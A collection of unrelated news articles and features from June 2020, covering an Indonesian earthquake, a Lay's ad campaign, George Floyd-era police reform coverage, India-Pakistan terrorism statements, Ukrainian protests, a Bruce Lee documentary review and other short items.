
JAKARTA: An earthquake measuring 6.8 on the Richter scale jolted Indonesia's North Maluku province on Thursday, but did not trigger a tsunami alert, the meteorology and geophysics agency said.

The agency initially issued the quake at 7.1 magnitude before revising it down to 6.8, Wahyu Kurniawan, official in charge at the agency, told Xinhua news agency.

The quake jolted at 3.49 p.m. with the epicentre at 89 km northwest Daruba village of Pulau Marotai district and the depth at 112 km under sea bed, the official said.

"For this quake, we did not issue a tsunami warning," he added.

Indonesia is frequently hit by earthquakes as it sits on a vulnerable quake-impacted zone called "the Pacific Ring of Fire".
The latest campaign of PepsiCos brand Lays  titled #Heartwork  is an emotional ode to each hero in the supply chain, who works relentlessly against all odds to ensure Lays brings joy to millions across the country.

Conceptualised by Wunderman Thompson, in a heartfelt manner, the film showcases that all around us one sees people, who despite the tough times, have kept going about their jobs, without seeking praise or pat on their backs, these people have become harbingers of joy to millions. With this film, the brand extends its sincere appreciation and gratitude to unseen heroes, including farmers, factory workers, truck drivers, distributors, sales force, retailers, and delivery executives on behalf of the company and every consumer who enjoys Lays.

The new film follows Lays last successful campaign with brand ambassadors Alia Bhatt and Ranbir Kapoor in October 2019. The #HEARTWORK campaign debuts with television spots this week. This will be followed by a longer version of the film on digital media.

Several people are involved in producing a single packet of Lays chips  right from the farmers who grow the potatoes, to the people in the factory, distributors and retailers. During the lockdown, all these activities have especially become difficult since there are restrictions on the distribution and social distancing is being maintained. To thank the hard work and love put in it by all those who are involved in the production of a Lays packet and getting it to people who love it so much  thats the key thought behind the #HEARTWORK campaign.

The film is a montage of all these people and also the end consumer who loves eating the chips. The video is backed by an uplifting song  Ye HeartWork Kehlata Hai.

Commenting on the campaign, Ritu Nakra, WPP India Lead  PepsiCo Foods, said, #Heartwork is our latest endeavour acknowledging the tireless spirit of all the people who are behind the scenes, who have ensured the uninterrupted supply of Lays to the consumers. This community spirit inspired Team WPP to create a warm and touching story of deep gratitude. Lays helps build and celebrate connections, and with this film, we expand the narrative of heartfelt connections to the unsung heroes.

In an interview with Adgully, Shailja Joshi, Associate Director - Potato Chips Category, PepsiCo India, talks about the idea behind #HEARTWORK, shares some campaign details and talks about the challenges faced in production and distribution during COVID-19 times.

Thanking all the people who are a part of Lay's lifecycle  how did this idea come about?

In the current times, we see people around us, who despite the present situation, have kept going about their jobs, without seeking praise or a pat on their backs, bringing joy to millions in the process. While as a community we have expressed gratitude  and rightfully so  for many of those fighting the pandemic directly, the role played by these multitudes is no less important. Through #heartwork, Lays proudly expresses gratitude for these unsung heroes who comprise our value chain  farmers, factory workers, truck drivers, distributors, salesmen, delivery executives and shopkeepers. And through highlighting their stories, we are thanking all those engaged in similar heartwork for those millions of products that magically appear on the shelves day after day, despite the unprecedented challenges.

What was the creative brief given to the agency?

In times such as these, continuing to do your ordinary work in order to make someone else happy becomes an act of extraordinary bravery. The brief to Wunderman Thompson was to celebrate the Lays family who have worked through this crisis and continued to bring smiles to many in this process.

Why name the campaign #HEARTWORK?

We felt that all the hard work thats ordinarily undertaken has assumed disproportionate importance at a time like this  when a pack of Lays isnt just a snack, but a more meaningful moment of enjoyment that signifies a measure of normalcy, familiarity and of course joy. Therefore, the idea was simple  the hard work done to bring smiles even in very difficult circumstances is nothing less than #heartwork, done from the heart for bringing joy to another.

How was the shooting done amid the lockdown and social distancing?

The teams repurposed the footage of our farms, factories, and warehouses that we had shot before the lockdown. Used creatively, it helped us say exactly what we wanted.

The shorter version narrates a complete story. What was the need for coming up with a longer version for digital? Could you give us a preview of what the longer version will entail?

Great stories deserve all the time that they can get. And this one is as great as they come. The long form really helps us to do justice to the #Heartwork that is put in to get every pack of Lays all the way from the farm to your fingers.

How did PepsiCo manage to keep the supply chain active during the lockdown period? What were the challenges faced?

Lays has always been a front-runner in supporting and caring for all members of its community. While there are many challenges faced by the supply chain, the fact that they went on with their jobs, brining joy to millions of consumers across the country, inspired us to create an ode for them. In India, Lays is proud to work with over 24,000 farmers, 4,300 factory workers, 2,400 distributors, 6.5 lakh retailers, and 5,000 sales staff, who are delivering joy across the country each day.

Whats your strategy to keep the consumer engaged in the current scenario? How is PepsiCo leveraging digital?

At PepsiCo, we have always believed in keeping a close eye on evolving trends of consumer behaviour and redefining our brand strategies accordingly. At this time, we are doing it more actively so that we can connect with our consumers where it matters the most  whether it is digital or any other medium.

As India exits the lockdown phase, how is PepsiCo planning to move ahead in the new normal?

The pandemic has given rise to a new-normal world. Due to change in consumer lifestyle and behaviour, one can anticipate a continued surge in purchase of essential goods, with an increased focus on food and beverages. Businesses will continue to operate through innovative strategies to ensure that consumers can access their favourite products.

We are maintaining a close look out on consumer behaviour to be better prepared in a post-COVID-19 world. Safety of our teams across the supply chain is of utmost priority. We are following all Government regulations and norms pertaining to social distancing at the workplace, including ensuring adequate distance between employees, frequent sanitization of high-contact surfaces, etc.

Also, we recently tied up with Swiggy and Dunzo for exclusive Lays and Kurkure e-stores. With social distancing becoming the new normal, consumers are increasingly preferring to stay indoors. Thereby, it is most imperative for businesses to enhance their Direct to Customer (D2C) channels.
Vientiane:

Recognizing terrorism as a significant threat to peace and stability in the region, India and the 10-member ASEAN on Friday made a strong commitment to combat terrorism in all its forms and manifestations.

"We express our determination to take concrete measures to step up cooperation and coordination among our law enforcement and security agencies," said a declaration at the end of the 14th ASEAN-India summit, stressing that there can be no justification for acts of terror on any grounds.

Earlier in the day, Prime Minister Narendra Modi told the leaders attending the summit that "In the face of growing traditional and non-traditional challenges political security cooperation is a key emerging feeler of our relationships."

Rising export of terror, growing radicalization through ideology of hatred and spread of extreme violence defines landscape of common security threats to our societies, he said.

"The threat is local, regional and transitional at the same time. Our partnership with ASEAN seeks to craft a response that relies on coordination cooperation at multiple levels," he noted.

The countries recognized the need to counter and prevent the spread of violent extremism and radicalism that leads to acts of terrorism.

ASEAN and India also supported the early adoption of the Comprehensive Convention on International Terrorism, currently under negotiation at the United Nations.

"We agreed to cooperate towards addressing traditional and non-traditional security challenges, including in areas of deradicalization and prevention of violent extremism," the declaration added.

The 10-member ASEAN includes Brunei, Cambodia, Indonesia, Laos, Malaysia, Myanmar, Philippines, Singapore, Thailand, and Vietnam.

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ANN ARBOR, MI  He once considered quitting the police force after being brutally beaten by fellow officers who mistook him for a gang member.

Instead, he chose instead to remain, to work for change from within, and today he runs the Ann Arbor Police Department.

Ann Arbor Police Chief Michael Cox was a victim of excessive use of force members of his own department in 1995 when he worked as an undercover officer in Boston. His fellow officers mistook him for a suspect in a fatal shooting and severely beat him. He was then harassed with incessant phone calls, had his tires slashed and had firefighters called to his home on a false report of a fire. Hed ultimately be awarded nearly $1.3 million in a federal lawsuit.

After the demoralizing ordeal, he wanted to separate himself from policing, but persevered to play a role in fighting injustice.

I realized people were wanting to chase me away from a profession that I signed up for to help people," Cox said. "Then it hit me that me leaving would probably be the worst thing that could probably ever happen. Not for myself personally  but just really for the police department and policing in general. You absolutely need people that are willing to look inside and look inward and look around and call people on the injustices that are going on in a place. And make them fix it or at least participate in fixing it. Youre either part of the solution or part of the problem. Ive wanted to solve the problem.

Cox has since done everything from going back to school to advocating for development of new rules, training programs and outreach efforts to help address problems like those he personally faced in Boston.

It was certainly a moment in my life in which I decided the best thing I that could do was to take that negative energy from this event that was pretty horrific at the time and do something about the hurt I was feeling, Cox said. And thats what I still kind of do. I do love this profession in the sense that we help people. Once youve gotten a taste of what its like to help so many people that truly need your help, you realize the importance of it that makes you feel good and sleep well at night... Thats how I learned from that experience and thats what I try to spend the remainder of my career doing.

The chief touted community-driven policing as a way to protect residents from feeling vulnerable to police.

Its about building trust, he said. We have a long history of probably over-policing in some of these communities of color  building trust takes being there and letting the community get to know us and us getting to know the community in a way that will build trust.

He said it also requires being consistent and available to listen and have conversations with community members about their needs, and to be able to accept criticism.

Thats a tough thing. We do give a lot of criticism, but I dont know that we always hear it, Cox said.

As Black Lives Matter protests continue across the country in the wake of the killing of George Floyd by a police officer in Minnesota, Cox said he wants to see his profession to evolve and better meet expectations of the public.

Its important for anyone and everyone in law enforcement to stand up for whats right, Cox said. The bad apples seem to dominate what the rhetoric is about this job  we just cant allow the individuals, the small number that are out there doing this, to dominate the rhetoric about police.

It is so hurtful what happened to that gentleman and their family. Words cant explain that hurt that did to the country and you know, to police officers as well. Whether people want to hear it or not, we are human, and that was a horrible, horrible thing... We have a ways to grow, but we need to have the willingness to listen and to hear what people say and acknowledge when were wrong. And be willing to put the work in to fix the issues."

Cox spoke at length with The Ann Arbor News on topics of police training, use of force, the Floyd incident, the protests, preventing bias and other issues. View the full interview here.
Dear Editor:

In reply to Gary Schiffs piece of May 15, 2020, An open letter to our Jewish family and friends in America, I cant explain why 71percent of U.S. Jews hate Donald Trump, but I can share with you why one Jew detests him, and from that you may draw your own conclusions.

First and foremost, Americans elect a president to represent all our diverse interests and to lead our country and the world toward a better future; you on the other hand assume the role of the U.S. president is strictly to help Israeli Jews. Failing to understand the scope of our presidents respon...
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Linkedin News Desk (The Jakarta Post) Jakarta  Fri, June 5, 2020 10:06 595 fc6853813033f564188675f8bdc51264 1 National COVID-19,coronavirus,rapid-testing,PCR-test,quarantine,isolation,virus-corona,virus-korona-indonesia,Maluku,Ambon Free

Dozens of residents of Silale in Ambon, Maluku, staged a protest on Thursday to turn away a medical team that had intended to perform rapid COVID-19 tests on a family living in the area.

The head of a local neighborhood unit (RT), Ruslan Abdul Gani, said the protest was triggered by the secretiveness of health authorities about the results of COVID-19 test performed on a local, identified as A.

Ruslan said A had been quarantined by authorities for 21 days. However, he had yet to be released "despite his good condition", as reported by kompas.com.

The man received a positive result from a COVID-19 rapid test conducted at a local market a few weeks ago. He was quarantined and underwent a polymerase chain reaction (PCR) test at a nearby facility to get a more accurate result.

Read also: COVID-19 positive man refuses to be taken to hospital, hugs neighbors in rage

"However, health authorities have yet to reveal the PCR test result," Ruslan said, as quoted by kompas.com.

He said the medical team could only conduct rapid tests in the neighborhood after residents saw A's test result. PCR test results are usually returned seven days after testing.

Village supervisory non-commissioned officers (Babinsa) eventually dispersed the protest.

People who test positive for COVID-19 through a rapid test are required to take a PCR test for a more reliable result. However, the number of available PCR tests is limited because of a shortage of reagent. (vny)
Ahead of elections, Pakistan pumping in huge number of IEDs into India

The drone threat from Pakistan that India faces is immense

What bonds the Khalistanis and the Pakistanis

UN report on terrorism reiterates what Pak PM publicly 'confessed': India

India

pti-PTI

New Delhi, June 05: India on Friday said a recent report by the UN Security Council mentioning about Pakistan-based terror groups sending thousands of terrorists to Afghanistan is a reiteration of what Pakistan Prime Minister Imran Khan publicly admitted.

The UN report said that around 6,500 Pakistani nationals were among foreign terrorists operating in Afghanistan and that Pakistan-based terror groups Jaish-e-Mohammad and Lashkar-e-Taiba are engaged in trafficking fighters into that country.

External Affairs Ministry Spokesperson Anurag Srivastava said the international community is well acquainted with the reality that Pakistan is the "nerve centre of terrorism".

Supreme Court asks states to take back all migrant residents in 15 days | Oneindia News

"The Ministry of Foreign Affairs of Pakistan would do well to recall that their Prime Minister admitted last year that Pakistan still hosts 30,000 to 40,000 terrorists," he said.

Terrorist trying to infiltrate from Pakistan killed by Indian Army

"Pakistan's leadership is also on record acknowledging that in the past terrorists had used the country's soil to carry out terror attacks on other countries," the MEA spokesperson added.

In a dramatic admission, Khan, during a visit to the US in July last year, said that about 30,000-40,000 "armed people", who have been trained and fought in some part of Afghanistan or Kashmir, were in Pakistan.

Srivastava also said that Pakistan's attempts to create a "divide" in the traditional and friendly relations between the people of India and Afghanistan will not succeed.

"The people of Afghanistan and the international community are well aware of who the 'spoiler is, and who is sheltering, training, arming and financing terrorists and sponsoring violence against innocent Afghans and members of the international community," he said.

After the report by the Analytical Support and Sanctions Monitoring Team was submitted to the UN Security Council, India said the findings vindicated its long-standing position that Pakistan remained the epicentre of international terrorism.

Pakistan on Thursday accused India of attempting to mislead the international community on the matter.

"The UN Security Council's Analytical Support and Sanctions Monitoring Team Report has only reiterated what the prime minister of Pakistan has already confessed," the MEA spokesperson said.

"Instead of casting aspersions on the Report, Pakistan should introspect and put an end to any kind of support for terrorism emanating from territories under its control," he said.

Srivastava said Pakistan houses one of the largest numbers of UN-designated terrorists and terrorist entities.

"Its fallacious attempts to point fingers at others cannot deflect attention from the facts on the ground."
STATEN ISLAND, N.Y. -- Gov. Andrew Cuomo continued his call for reform of the criminal justice system on Friday, outlining a plan he says will work in everyones interest.

The governor urged the Legislature to pass the Say Their Name Reform next week while displaying a list of names of individuals who were killed across the nation by police.

The call for reform follows the death of George Floyd, a black man who died in police custody after white Minneapolis police officer Derek Chauvin kneeled on his neck for nearly nine minutes.

Chauvin has since been charged along with three other officers who were present at the scene.

Floyds death sparked protests across the city, state, and nation, that have included instances of violence and civil unrest causing Cuomo and Mayor Bill de Blasio to impose an 8 p.m. citywide curfew through Sunday, June 7.

Mr. Floyds name is just the last name on a very long list [of names], Cuomo said.

Reform works for everyones interest here. Stopping police abuse vindicates the overwhelming majority [of police] who are there to do the right thing and restores confidence and trust. You need to heal; that needs to happen, he said.

The cornerstones of the Say Their Name Reform" agenda are:

Transparency of prior disciplinary records;

No chokeholds;

False race-based 911 reports should be a hate crime;

Attorney General as independent prosecutor for police murder cases.

Regarding prior police disciplinary records, Cuomo said theyre relevant one way or another. Previous abuse would help a current case and showing that an officer has no prior cases would help vindicate them.

The governor outlined the reform after showing two videos of alleged police misconduct, one in Buffalo and one in New York City.

In Buffalo a 77-year-old man was shoved to the ground by a police officer, hitting his head on the pavement.

You see that video and it disturbs your basic sense of decency and humanity. Why was that necessary? Where was the threat? And then you just walk by the person when you see blood coming from his head and police officers just walked by, Cuomo said, calling it fundamentally frightening and offensive.

Who are we and how did we get to this place?" Cuomo said.

The involved officer has since been suspended, he added.

CUOMO DEFENDS CURFEW BUT SAYS DECISION IS UP TO MAYOR

Cuomo defended the imposed citywide curfew when asked during the press briefing whether or not its working the way it was intended after videos surfaced of essential workers being arrested.

He said the decision is ultimately up to each localitys mayor and he will support whatever decision they make.

The police are needed to protect the demonstrators, public safety and deal with the looters, Cuomo said.

Were on the edge of chaos and now you have a police force that is adequately deployed, you have enough police and a better management plan, Cuomo said. He had previously slammed de Blasios handling of the city and management of the NYPD but has since said New York City has done a better job in handling protests and outbursts of violence.

FOLLOW KRISTIN F. DALTON ON TWITTER.
SPRINGFIELD  Illinois attorney general asked Congress in a letter Thursday to grant his office the power to investigate practices of unconstitutional policing.

After Rodney King was beaten by Los Angeles police officers in 1991, federal lawmakers established the Violent Crime Control and Law Enforcement Act. It allowed the Department of Justice to investigate alleged police wrongdoings.

Illinois Attorney General Kwame Raoul and 17 other attorneys general who signed on to the letter requested that authority as well due to the federal governments refusal to confront the problem of police misconduct.

The violent death of George Floyd at the hands of police has rightfully shocked and outraged a nation, Raoul said in a statement. But the truth is that George Floyd and Breonna Taylor are two of the latest in a long line of African Americans who have lost their lives at the hands of police using excessive force.

Floyd, an unarmed black man, died May 25 in Minneapolis after being pinned to the ground for nearly nine minutes with a white police officers knee on his neck.

The Civil Rights Division of the Department of Justice launched 69 investigations between 1994, when the act took effect, and 2017, according to its website. Those inquiries resulted in 40 court orders for police departments to make changes.

But in a 2018 memo, former U.S. attorney General Jeff Sessions wrote state and local governments have the responsibility to hold their law enforcement departments accountable, not the federal government. The Department of Justice has not opened any such investigations since.

That decision has left local communities without critical protections for their civil rights, the state attorneys general wrote. Allowing their offices to undertake such analyses as well as to access statistics about police departments use of excessive force would allow much more to be done to combat an issue thousands of Americans are protesting across the country.

One thing is certain: If US DOJ continues to abdicate its responsibility to pursue police reform, someone has to take action. We stand ready to do so, the attorneys wrote. ...Our country cannot move ahead  indeed our country will not heal  unless we ensure constitutional policing throughout our nation and accountability for police officers who fail to follow our most fundamental law.

They noted police officers take a tremendous risk daily to protect citizens, but added communities will continue to treat them with mistrust if those who break the law are not held accountable.

The letter was also signed by attorneys general from California, Delaware, Hawaii, Maine, Maryland, Massachusetts, Michigan, Minnesota, Nevada, New Jersey, New Mexico, New York, Oregon, Pennsylvania, Rhode Island, Vermont and Virginia.

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The Minneapolis police officer who used his knee to pin down George Floyds neck before his death was the most experienced of the four officers involved in the arrest, with a record that included medals for bravery and 17 complaints against him, including one for pulling a woman out of her car during a speeding stop.

New details about Derek Chauvin and the other now-fired officers emerged Wednesday after prosecutors upgraded Chauvins charge to second-degree murder and charged the others with aiding and abetting in a case that has convulsed the nation with protests over race and police brutality.

Heavily redacted personnel files show that Chauvin, a 19-year veteran of the force, was initially trained as a cook and served in the Army as a military police officer. Eleven-year veteran and native Hmong speaker Tou Thao began as a community service officer and was the subject of six complaints. The other two officers were relative newcomers to the department, including Thomas Lane, a former juvenile detention guard who did volunteer work with Somali refugees, and J. Alexander Kueng, who got his start in law enforcement by patrolling his college campus and a department store.

The files were notable for what they didnt include. Only one of the 17 complaints against Chauvin was detailed, none of the six against Thao were mentioned and there was no further detail about a 2017 excessive force lawsuit against Thao.

Records show that the 44-year-old Chauvin initially studied cooking before taking courses in law enforcement and doing two stints in the Army as a military police officer in the late 1990s, serving at Fort Benning, Georgia, and in Germany.

Chauvin became a Minneapolis police officer in 2001 and the lone reprimand in his file involved a 2007 incident when he was accused of pulling a woman out of her car after stopping her for going 10 mph (16 kph) over the speed limit. Investigators found it was not necessary for Chauvin to remove the woman from the car and noted that his squad car video was turned off during the stop.

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But Chauvin was also singled out for bravery. Files show he won two medals of valor, one in 2006 for being part of a group of officers who opened fire on a stabbing suspect who pointed a shotgun at them, and another in 2008 for a domestic violence incident in which Chauvin broke down a bathroom door and shot a suspect in the stomach.

He also won medals of commendation in 2008 after he and his partner tackled a fleeing suspect who had a pistol in his hand, and in 2009 for single-handedly apprehending a group of gang members while working as an off-duty security guard at the El Nuevo Rodeo, a Minneapolis nightclub.

Since his arrest, the former owner of the club, Maya Santamaria, said Chauvin and Floyd both worked there as security guards at various times but that she wasnt sure if they had known one another. She said Chauvin was unnecessarily aggressive on nights when the club had a black clientele, quelling fights by dousing the crowd with pepper spray and calling in several police squad cars as backup, a tactic she called overkill.

Chauvins wife, Kellie, a Laotian immigrant who became the first Hmong winner of the Mrs. Minnesota pageant, filed for divorce shortly after his arrest last week.

Before news of the upgraded charges, a lawyer for Chauvin said he was not making any statements. Kuengs lawyer said his client turned himself in. Lane's lawyer said he hadnt seen the complaint or talked to his client. Thaos lawyer didn't return calls.

Cellphone video of Floyd's May 25 arrest showed Chauvin placing his left knee on Floyds neck with Lane holding Floyds legs and Kueng holding his back while Thao stood between the officers and onlookers, according to charging documents.

Thats when Floyd repeatedly cried out I cant breathe, Mama and please. At one point, he said Im about to die. Nevertheless, Chauvin, Lane and Kueng didnt move, according to the documents.

Moments later, Lane asked: should we roll him on his side?

Chauvin replied: No, staying put where we got him.

Lane said he was worried Floyd would experience excited delirium, a condition that can cause agitation, aggressiveness or sudden death, according to the complaint.

Thats why we have him on his stomach, Chauvin replied.

Despite his concerns, Lane didnt do anything to help Floyd or to reduce the force being used on him, the complaint said. Neither he, Kueng nor Chauvin moved.

Lane joined the police early last year as a 35-year-old cadet  much older than most rookies  and became a full-fledged officer last December. He had no complaints in his file during his short time on the force.

On employment forms, the University of Minnesota graduate said he had done volunteer work tutoring Somali youth and as a mentor helping at-risk elementary school students with reading and homework.

Kueng, at 26 the youngest of the four officers, was also a recent recruit to the police force. He completed his years probation just three months before the Floyd arrest. His personnel file, which notes that he speaks, reads and writes Russian, did not include any commendations or disciplinary actions during his short time on the force.

Kueng was a 2018 graduate of the University of Minnesota, where he worked part-time as part of the campus security force. He also worked nearly three years as a theft-prevention officer at Macys.

Thao, 34, joined the police force part-time in 2008 while attending community college. Before that, he worked as a security guard, a supermarket stocker and trainer at McDonalds.

City records show six complaints were filed against Thao, but there was no mention of that in the records released Wednesday. There also was no mention of a 2017 federal lawsuit accusing him and another officer of excessive force. According to the lawsuit, Lamar Ferguson claimed that in 2014, Thao and his partner stopped him and beat him up while he was on his way to his girlfriends house. The lawsuit was settled for $25,000.

___

Condon and Sisak reported from New York, Richmond from Madison, Wisconsin. AP writers Amy Forliti in Minneapolis and Scott Bauer in Madison and researcher Rhonda Shafner in New York contributed to this report.
The 2020 presidential election features a pared-back pool of undecided voters after four years of a highly controversial and media-saturated presidency.

Why it matters: Entrenched views mean there's less reason for campaigns to try to change voters' minds than to convince those already with them to vote  and help educate them about mail-in and early-vote procedures to make sure their votes count.
The Fabric of the Country

Few American businesses have as rich and resonant a history as Brooks Brothers, which Henry Sands Brooks founded in Manhattan in 1818 and is the oldest apparel brand in continuous operation in the United States. Ralph Lauren started out as a salesman at Brooks Brothers in New York. It is the official clothier of the Jazz at Lincoln Center Orchestra and has been worn by Clark Gable, Andy Warhol and Stephen Colbert. It has dressed all but four presidents, and its overcoats have been worn for the inaugurations of Abraham Lincoln, Barack Obama and Donald J. Trump, among others. It even made uniforms for soldiers during the Civil War.

Family run until 1946, and always produced in part in the United States, Brooks Brothers changed hands a number of times until Marks & Spencer, the midmarket British firm, acquired it in 1988 and more production began to move offshore. There were complaints about diminished quality, and the brand was generally seen, said Thomas Davis, a salesman at the company for almost 50 years until 2017, as falling into the abyss. That was when Mr. Del Vecchio, whose father, Leonardo, is the 46th-richest man in the world, according to the Bloomberg billionaires index, acquired it for $225 million.

Claudio loved factories and knew it was a source of differentiation for us, said Jeff Blee, a former executive in merchandising at Brooks Brothers. As Americas oldest clothing brand, being able to connect the dots from a sourcing, design, manufacturing standpoint  it helped bolster that story.

Mr. Del Vecchio opened elaborate flagship stores in global capitals, and hired well-known American designers such as Thom Browne and Zac Posen to create high-end collections that could be shown during New York Fashion Week, with mixed results.

Steep growth in the first seven years was halted by the financial crisis. Later, the social movement toward casual Fridays, the rise of the dressed-down tech uniform and the shift toward online retail all began to chip away at the Brooks Brothers market, and it struggled to adapt.
Director: Bao Nguyen

Length: One hour and thirty seven minutes without commercials (airing in a two hour window with commercials)

Installment: #109 by ESPNs count (#110 by my count, counting the O.J. doc as one installment, although ESPN initially counted it as five different 30 for 30s, but now seems to list it separately, not as part of the series. Additionally, one finished project, Down In The Valley, has been suspended from airing.)

Most Similar To: Hawaiian: The Legend of Eddie Aikau

Grade/Ranking: Mid-twenties out of 109, which Id give a B+ on a 30 for 30 grading curve.

Review:

Ill be honest: if this was a lackluster 30 for 30 installment without a positive underlying message, Id probably just sit this one out. There is just too much going on in the world to expend the mental energy on a meh documentary, at least for me.

The good news is that Be Water was one of the better 30 for 30s of the last few years. The films themes of breaking down barriers, inclusiveness, and pushing back against prejudice is quite relevant and topical today. Before getting into the film a bit further, here are a couple quick things to know about Be Water.

The entire film is done using archival footage. If you enjoyed your memes of Jordan or Lance Armstrong saying something on camera that goes viral, you wont find the same pay dirt here. While there are extensive interviews throughout the film, you never see who is speaking in the present. Its a style that I think will go over well with many, but may be a bit too stylistic and flat for others who prefer not to be lulled into a visual setting decades ago. Personally, I enjoyed the distinct visual style after seven weeks of The Last Dance and Lance.

While being marketed as a documentary focusing on Lees time in Hong Kong after his Hollywood career stalled out, this is more of a straightforward biography on Lee. His life is generally retraced in its entirety, and no one specific period dominates the film.

With that out of the way, the film really worked for me, and I suspect it will work for many. Lee is an icon, but one that has only had modest mainstream pop culture dissection beyond a quick clip, quote, poster, or fight scene. Lee is not someone who comes up in a casual conversation with your friends or on television all that often, unless youre really discussing a specific topic that relates to him. I think most Americans can tell you who Bruce Lee is, but would be oblivious to his career path and legacy, beyond the obvious fact that he was a martial artist. I saw the 90s biopic on him (Dragon: The Bruce Lee Story) and thought it was fine.

But despite that film, Lee has largely remained a shallow prop that has never gotten the mainstream deep dive hes always been worthy of. I think selecting him as a 30 for 30 topic was extremely shrewd on ESPNs part, and hopefully one that is rewarded with ratings that reinforce the idea of going somewhat off the beaten bath in terms of finding worthy subject matter.

Be Water gives us a pretty thorough, yet concise, dive into Lees origins and his unique American experience of becoming a star, but one that quickly hit his head on the low ceiling that continues to stifle Asian Americans. Despite Lees best efforts, he was unable to find the success, acceptance, and support he thought his gifts and his culture were worthy of. Lee was relentless in his pursuit to further mainstream martial arts and Asian Americans into American pop culture, but sadly, he never got to see the fruits of his efforts.

As an Asian American, Im not sure I can say Lee would be happy with the progress for a more diverse and accepting society to Asians and people of all colors since his passing. Would things be different if Lee didnt die so young? Would there be more Asians on television and film, and in more substantive roles? Lee endeavored to change the status quo and the progress since has not been very encouraging. Its been more than two decades since Jackie Chan was sold as a breakthrough star, and I think most would struggle to name a male Asian actor beyond Chan.

Putting the depressing lack of progress aside, Be Water does a remarkable job at smoothly retracing a career that was probably quite bumpy to live through. From a distance, Lees career seems akin to getting stuck in traffic every 15 minutes on your way to vacation. Be Water does explains the various stops and starts that Lee tried to navigate around. Given how fresh much of this content is and how well it has been packaged, I think most will come away happy with the film because it is well-paced, bursts with great footage, and mostly answers the major questions about Lees life and career.

The film covers a lot of ground in two hours and does so in a steady, engaging way that brings a cultural icon to life in a way that many have not seen before. Some more astute viewers will likely wish the film covered a few items that were glossed over, like the circumstances of his death and Lees reputation of not being the most dedicated family man. But the film is fairly comprehensive, given the time constraints and the amount of subject matter covered.

Be Water succeeded in bringing someone to life in a way that a biopic, many articles, and a few movies failed to do so. I never felt I understood Lee or the reason to celebrate him. I suspect thats the truth for most people alive today. While Be Water may have sidestepped a few things, both good and bad, about Lee, its rich with style, story, and personality. And it succeeds in bringing a mythical icon back to life in a way that honors both Lee and Asian culture, while registering as one of the better 30 for 30s of the last few years.
NBC News

A woman has been killed and six other people have been injured after a car chase in Chicago led to a fatal crash on Wednesday, reports have said.

The incident began when officers noticed a dark-coloured jeep that was possibly wanted in connection to several crimes, Chicago police told NBC affiliate WMAQ-TV.

When officers attempted to stop the vehicle it reportedly fled police and a chase ensued down Irving Park on the North Side. The man was said to have crashed the jeep near a gas station and reportedly seized a 2016 Nissan SUV.

I was scared at first; I ran upstairs and I was like, you know what, Im going to get to the roof and start trying to film everything to see whats going on. It was chaotic, a witness told ABC7.

While continuing to pursue the Nissan with their sirens active, police reportedly crashed the squad car into a Ford Explorer travelling north down the highway.

A 37-year-old woman who was driving the vehicle died as a result of the crash after she was taken to Illinois Masonic Medical Centre, police said.

The squad car also collided with another vehicle, from which all three passengers, a 62-year-old male driver, a 29-year-old and a 44-year-old, woman were injured.

All three individuals involved in the second crash were taken to Northwestern Memorial Hospital.

Two officers were also reported to have been injured in the crash but are also in fair condition, police told WMAQ-TV.

The driver of the jeep was reported to be a 22-year-old male who later crashed the Nissan into a pole in Bridgeport, police said.

He continued to attempt to evade capture on foot but was reportedly later taken into custody in serious condition.

Illinois State Police alleged that the Jeep was wanted in connection with at least one homicide, and the incident remains under investigation.

This is a devastating loss of life and our heartfelt condolences are with all those who have been affected. We are reviewing cameras and interviewing witnesses in regards to the criminal investigation into the actions taken by the offender. The entirety of this pursuit is under review and investigation COPA, police said in a statement according to ABC7.

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National Guard troops stationed at Lincoln Memorial for DC protests

Florida police officer suspended for pushing kneeling woman at protest

Minneapolis police department faces civil rights investigation

In pictures: Police brutality against protesters across the US
The initiators of the draft resolution are 55 MPs of Holos and Servant of the People factions

Ukraine's Interior Minister Arsen Avakov slovoidilo.ua

Verkhovna Rada of Ukraine has registered a resolution on dismissal of Arsen Avakov from the post of Interior Minister. The relevant resolution  3606 is posted on the parliaments website.

The decision was submitted for consideration. The initiators of the draft resolution are 55 MPs of Holos and Servant of the People factions.

As we reported earlier, today, on June 5, several Ukrainian cities, including Kyiv, Kharkiv and Lviv were hosting protest rallies, as people demand the resignation of Interior Minister Arsen Avakov.

In Kyiv, protesters brought an old police van to the square in front of the Parliament building. They lit flares and burned it down - as a symbol of the law enforcement system of Ukraine in the 1990s.

An act of self-immolation was also conducted during the protests in Kyiv. Yurii Liashenko, an entrepreneur from Nova Kakhovka, spoke out against Arsen Avakov because his family had previously been robbed by bandits and police.

Liashenko was not seriously injured. He is currently being treated by doctors.
Dominican producers use ashes from power generation

05 June 2020

Ashes produced at the Punta Catalina coal power generation complex in Bani, Dominican Republic, are now being used by cement companies in the country, according to Jaime Aristy Escuder, administrator at the facility.



In addition, international companies have also expressed an interest in using the ashes. The material is currently stored in facilities specifically designed, built and managed to ensure that both local and international standards to protect the environment are observed, noted Mr Escuder.

Published under
The race office at Grand River Raceway would like to advise participants that the race office phone lines will be unavailable during construction.

The normal phone lines at Grand River of 519-846-1106 and 519-846-1107 are down. Please direct any race night calls or inquiries to Sue Ellis at 519-846-5455 x221.
BERLIN, June 4 (Reuters) - German Chancellor Angela Merkel said the murder of George Floyd, the black man whose death in U.S. police custody set off a wave of protests, was a "very very terrible thing" and called for reconciliation.

"What I demand of politics is that it tries to bring people together and to reconcile," she told ZDF television when asked about the situation in the United States.

Asked if U.S. President Donald Trump played a role in polarization, she said his political style was controversial, adding: "I work with elected presidents around the world and of course with the American president and I hope that we can bring peace to this country."

(Reporting by Madeline Chambers Editing by Chizu Nomiyama)
Painting should be sexy: the art of Gunther Forg

By embracing materials for their own sake, the German artist Gunther Forg broke thrilling new ground for abstraction. Illustrated with works offered at Christies

Gunther Forg was born in Fussen in 1952. He studied at the Academy of Fine Arts in Munich, where he met the influential Informel artist Karl Fred Dahmen, and came of age in a world that was disenchanted with painting and haunted by the ghosts of Modernism.

Like many of his contemporaries, including his friends Martin Kippenberger, Albert Oehlen and Christopher Wool, Forg would devote his practice to wrestling with both.

In the 1980s, artistic convention was turned on its head. While many artists of the period championed wild, expressive idioms, Forg turned to geometric abstraction, producing works that were cerebral, sublime and playful. Through close readings of art history, he created a world of alchemical possibility, in which photography became a form of architecture, and painting moved closer to sculpture.

